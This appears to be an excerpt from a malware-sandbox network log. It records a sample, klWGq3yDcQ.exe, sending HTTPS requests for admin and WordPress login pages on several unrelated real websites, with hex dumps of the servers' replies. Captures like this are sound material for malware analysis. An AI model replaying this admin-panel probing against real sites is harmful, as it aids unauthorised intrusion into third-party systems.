2023-11-26 06:00:00 UTC	4569	IN	Data Raw: 37 31 31 35 39 20 32 38 2e 39 39 37 32 32 33 32 2c 32 39 2e 33 34 38 39 32 30 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 32 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 34 2e 39 37 31 33 33 39 30 32 2c 32 35 2e 36 34 35 35 35 20 43 39 2e 39 33 33 38 35 31 32 32 2c 32 37 2e 31 38 37 33 37 39 33 20 31 34 2e 37 37 33 37 30 34 39 2c 32 39 2e 30 33 36 34 32 38 20 31 39 2e 36 37 34 38 38 37 38 2c 33 30 2e 36 37 30 35 33 37 38 20 43 32 30 2e 34 31 34 38 35 31 32 2c 33 30 2e 39 31 37 30 30 31 32 20 32 31 2e 31 35 34 32 34 31 35 2c 33 31 2e 31 39 34 34 31 35 39 20 32 31 2e Data Ascii: 71159 28.9972232,29.3489207" id="Fill-12" fill="#467C45"></path> <path d="M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.4	56346	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	218	OUT	GET /admin HTTP/1.1 Host: www.beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: OF=v9cu3s0m473ercltrbqt6cbio0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	535	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 6b 38 73 70 65 72 73 69 73 74 65 6e 74 3d 64 62 63 65 30 34 33 66 64 35 37 37 33 65 34 36 31 31 35 39 30 35 63 66 31 61 36 39 39 32 62 38 7c 31 31 66 31 38 37 36 33 38 36 34 33 65 31 33 64 37 62 64 31 39 36 33 39 39 31 66 61 63 35 32 62 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 38 2d 4e 6f 76 2d 32 33 20 30 36 3a 30 30 3a 30 30 20 47 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 06:00:00 GMTcontent-type: text/html; charset=utf-8transfer-encoding: chunkedset-cookie: k8spersistent=dbce043fd5773e46115905cf1a6992b8\|11f187638643e13d7bd1963991fac52b; Expires=Tue, 28-Nov-23 06:00:00 G
2023-11-26 06:00:00 UTC	1021	IN	Data Raw: 33 46 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 4a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 63 Data Ascii: 3F6<!DOCTYPE html><html lang="nl"><head><title>Beach Recruitment B.V.</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><meta http-equiv="Content-Script-Type" content="text/Javascript"><meta http-equiv="Content-Style-Type" c
2023-11-26 06:00:00 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 74 6d 65 6e 74 2e 63 6f 6d 22 3e 0a 3c 21 2d 2d 20 65 6e 64 20 63 61 6e 6f 6e 69 63 61 6c 20 6c 69 6e 6b 20 2d 2d 3e 0a 0a 3c 21 2d 2d 20 72 65 6d 61 72 6b 3a 20 73 74 61 72 74 20 4a 53 72 65 70 6f 73 69 74 6f 72 79 20 61 75 74 6f 20 67 65 6e 65 72 61 74 65 64 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 6e 74 2e 63 6f 6d 2f 5f 6a 61 76 61 73 63 72 69 70 74 5f 67 6c 6f 62 61 6c 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 6e 74 2e 63 6f 6d 2f 5f 6a 61 76 61 73 63 72 69 70 74 5f 67 6c 6f 62 61 6c 2f 63 68 6f 73 Data Ascii: 2000tment.com">... end canonical link -->... remark: start JSrepository auto generated --><script src="https://www.beachrecruitment.com/_javascript_global/jquery.js"></script><script src="https://www.beachrecruitment.com/_javascript_global/chos
2023-11-26 06:00:00 UTC	4308	IN	Data Raw: 31 30 43 43 0d 0a 63 61 74 2f 61 6c 6c 22 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 3c 53 54 52 49 4b 45 3e 42 65 6b 69 6a 6b 20 61 6c 6c 65 20 76 61 63 61 74 75 72 65 73 3c 2f 53 54 52 49 4b 45 3e 3c 2f 41 3e 3c 2f 50 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 49 74 65 6d 43 6f 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 46 6f 74 6f 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 74 79 6c 65 3d 22 22 20 61 6c 74 3d 22 22 20 74 69 74 6c 65 3d 22 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 38 35 30 22 20 73 Data Ascii: 10CCcat/all" target="_self"><STRIKE>Bekijk alle vacatures</STRIKE></A></P></div></div></div>...LINKS--></div><div class="tItemCon"><div class="tFoto"><img style="" alt="" title="" width="1920" height="850" s
2023-11-26 06:00:00 UTC	2697	IN	Data Raw: 41 38 32 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 57 6f 72 64 20 6a 73 6c 4b 65 79 77 6f 72 64 20 6a 73 6c 43 68 61 70 6f 22 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 6c 43 6c 65 61 6e 65 72 20 6a 73 6c 4b 77 43 6c 65 61 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 43 6f 6e 74 61 69 6e 65 72 20 6a 73 6c 49 74 65 6d 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 54 69 74 6c 65 20 6a 73 6c 46 75 6e 63 74 69 6f 6e 4e 61 6d 65 22 3e 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 Data Ascii: A82<div class="hookItemWord jslKeyword jslChapo"></div><div class="jslCleaner jslKwCleaner"></div></div><div class="hookItemContainer jslItemContainer"><div class="hookItemTitle jslFunctionName"><a href="https://www.beachrecruitme
2023-11-26 06:00:00 UTC	10599	IN	Data Raw: 32 39 35 46 0d 0a 6e 61 67 65 72 20 41 61 72 64 61 70 70 65 6c 65 6e 20 49 6e 6b 6f 6f 70 20 28 44 75 69 74 73 6c 61 6e 64 29 20 2f 20 46 61 72 6d 20 46 72 69 74 65 73 3c 2f 61 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a 09 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 57 6f 72 64 20 6a 73 6c 4b 65 79 77 6f 72 64 20 6a 73 6c 4c 6f 63 61 74 69 6f 6e 22 3e 0a 09 09 09 3c 73 70 61 6e 3e 69 6e 3c 21 2d 2d 53 69 6e 67 6c 65 57 6f 72 64 4c 69 6e 6b 31 2d 2d 3e 3c 2f 73 70 61 6e 3e 56 65 72 74 72 6f 75 77 65 6c 69 6a 6b 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a 09 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 6c 43 6c 65 61 6e 65 72 20 6a 73 6c 4b 77 43 6c 65 61 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a Data Ascii: 295Fnager Aardappelen Inkoop (Duitsland) / Farm Frites</a></div><div class="hookItemWord jslKeyword jslLocation"><span>in...SingleWordLink1--></span>Vertrouwelijk</div><div class="jslCleaner jslKwCleaner"></div>
2023-11-26 06:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.4	56352	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	172	OUT	GET /admin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	456	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 06:00:00 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"X-Redirect-By: WordP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.4	56390	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	171	OUT	GET /pma/ HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	300	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 06:00:00 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 06:00:00 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.4	56391	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	172	OUT	GET /admin HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	301	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 06:00:00 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 06:00:00 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.4	56417	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	176	OUT	GET /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	856	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 06:00:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 06:00:00 UTC	7882	IN	Data Raw: 31 65 63 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1ec2<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 06:00:00 UTC	593	IN	Data Raw: 32 34 61 0d 0a 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 66 34 39 38 32 35 38 33 39 63 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 Data Ascii: 24aipt' src='https://engel-firm.com/wp-includes/js/wp-util.min.js?ver=6.3.2' id='wp-util-js'></script><script type='text/javascript' id='user-profile-js-extra'>/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"f49825839c"};/ ... */</scr
2023-11-26 06:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.4	56363	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	244	OUT	GET /login/?page=%2Fwp-login.php HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0pfpv6fic6tscei8l2krgncvto User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:01 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 33 20 53 65 65 20 4f 74 68 65 72 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a Data Ascii: HTTP/1.1 303 See OtherServer: nginxDate: Sun, 26 Nov 2023 06:00:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate
2023-11-26 06:00:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.4	56432	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	184	OUT	GET /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	258	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 31 32 20 50 72 65 63 6f 6e 64 69 74 69 6f 6e 20 46 61 69 6c 65 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 55 73 65 72 2d 41 67 65 6e 74 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 32 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d Data Ascii: HTTP/1.1 412 Precondition FailedDate: Sun, 26 Nov 2023 06:00:00 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeAccept-Ranges: bytesVary: User-AgentContent-Length: 606Content-Type: text/html; charset=iso-8859-2Content-Language: en
